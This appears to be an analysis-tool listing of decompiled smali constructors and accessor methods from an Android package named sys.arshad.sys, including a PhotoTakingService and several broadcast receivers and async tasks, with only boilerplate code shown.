Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/PhotoTakingService$1$1;->b:Lsys/arshad/sys/PhotoTakingService$1;
1iput-object p2, p0, Lsys/arshad/sys/PhotoTakingService$1$1;->a:Landroid/view/SurfaceHolder;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$1;->a:Lsys/arshad/sys/MainActivity;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$10;->a:Lsys/arshad/sys/MainActivity;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$13;->a:Lsys/arshad/sys/MainActivity;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.util.TimerTask.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$15;->a:Lsys/arshad/sys/MainActivity;
2invoke-direct {p0}, Ljava/util/TimerTask;-><init>()V
3return-void
Cross References
APIs
  • java.util.TimerTask.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$16;->a:Lsys/arshad/sys/MainActivity;
2invoke-direct {p0}, Ljava/util/TimerTask;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$17;->a:Lsys/arshad/sys/MainActivity;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$18;->a:Lsys/arshad/sys/MainActivity;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$2;->a:Lsys/arshad/sys/MainActivity;
2invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$5;->a:Lsys/arshad/sys/MainActivity;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$7;->a:Lsys/arshad/sys/MainActivity;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$8;->a:Lsys/arshad/sys/MainActivity;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$9;->a:Lsys/arshad/sys/MainActivity;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • android.os.AsyncTask.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
2invoke-direct {p0}, Landroid/os/AsyncTask;-><init>()V
3return-void
APIs
  • sys.arshad.sys.MainActivity$a.a
Position Instruction Meta Information
0check-cast p1, Ljava/lang/Void;
2invoke-virtual {p0, p1}, Lsys/arshad/sys/MainActivity$a;->a(Ljava/lang/Void;)V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$12;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$16$1;->a:Lsys/arshad/sys/MainActivity$b$16;
2invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
3return-void
Cross References
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$16$2;->a:Lsys/arshad/sys/MainActivity$b$16;
2invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$2;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$20;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$21;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$22;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$23;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$26;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$33;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$34;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$39;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$43;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$44;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$46;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$47;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$8;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$9;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$b$a;->a:Lsys/arshad/sys/MainActivity$b;
2invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
3return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity$b.o
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity$b;->o()Z
2move-result v0
3return v0
APIs
  • sys.arshad.sys.MainActivity$b.a
Position Instruction Meta Information
1invoke-virtual {p0, p1}, Lsys/arshad/sys/MainActivity$b;->a([Ljava/lang/Object;)Ljava/lang/Void;
2move-result-object v0
3return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$c$1;->a:Lsys/arshad/sys/MainActivity$c;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • android.os.AsyncTask.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/MainActivity$c;->a:Lsys/arshad/sys/MainActivity;
2invoke-direct {p0}, Landroid/os/AsyncTask;-><init>()V
3return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity.z
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->z()Z
2move-result v0
3return v0
Cross References
APIs
  • sys.arshad.sys.MainActivity.I
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->I()Z
2move-result v0
3return v0
Cross References
APIs
  • sys.arshad.sys.MainActivity.L
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->L()Ljava/lang/String;
2move-result-object v0
3return-object v0
Cross References
APIs
  • sys.arshad.sys.MainActivity.x
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->x()Ljava/lang/String;
2move-result-object v0
3return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/PhotoTakingService$1$1$1;->a:Lsys/arshad/sys/PhotoTakingService$1$1;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lsys/arshad/sys/PhotoTakingService$1;->a:Lsys/arshad/sys/PhotoTakingService;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/app/Service;-><init>()V
2return-void
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
2return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity$a.<init>
Position Instruction Meta Information
1invoke-direct {p0, p1}, Lsys/arshad/sys/MainActivity$a;-><init>(Lsys/arshad/sys/MainActivity;)V
2return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity$b.<init>
Position Instruction Meta Information
1invoke-direct {p0, p1}, Lsys/arshad/sys/MainActivity$b;-><init>(Lsys/arshad/sys/MainActivity;)V
2return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity$b.d
Position Instruction Meta Information
1invoke-direct {p0, p1, p2}, Lsys/arshad/sys/MainActivity$b;->d(Ljava/lang/String;Ljava/lang/String;)V
2return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity$b.t
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity$b;->t()V
2return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity.F
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->F()V
2return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity.E
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->E()V
2return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity.D
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->D()V
2return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity.J
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->J()V
2return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity.H
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->H()V
2return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity.w
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->w()V
2return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity.C
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->C()V
2return-void
Cross References
APIs
  • sys.arshad.sys.MainActivity.B
Position Instruction Meta Information
1invoke-direct {p0}, Lsys/arshad/sys/MainActivity;->B()V
2return-void
APIs
  • android.service.notification.NotificationListenerService.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/service/notification/NotificationListenerService;-><init>()V
2return-void
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
2return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2return-void